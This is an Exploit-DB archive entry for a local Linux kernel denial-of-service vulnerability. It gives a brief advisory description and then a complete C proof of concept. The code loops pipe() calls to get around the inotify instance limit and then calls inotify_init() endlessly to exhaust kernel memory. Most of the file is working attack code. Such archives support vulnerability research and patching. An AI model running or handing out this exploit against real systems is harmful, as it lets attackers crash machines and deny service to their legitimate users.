exploit-db-mirror/platforms/linux/dos/35013.c
Offensive Security a7cf4f066c Updated 10_22_2014
2014-10-22 04:44:36 +00:00

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source: http://www.securityfocus.com/bid/45036/info
The Linux kernel is prone to a local denial-of-service vulnerability.
Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users.
#include <sys/inotify.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int fds[2];
/* Circumvent max inotify instances limit */
while (pipe(fds) != -1)
;
while (1)
inotify_init();
return 0;
}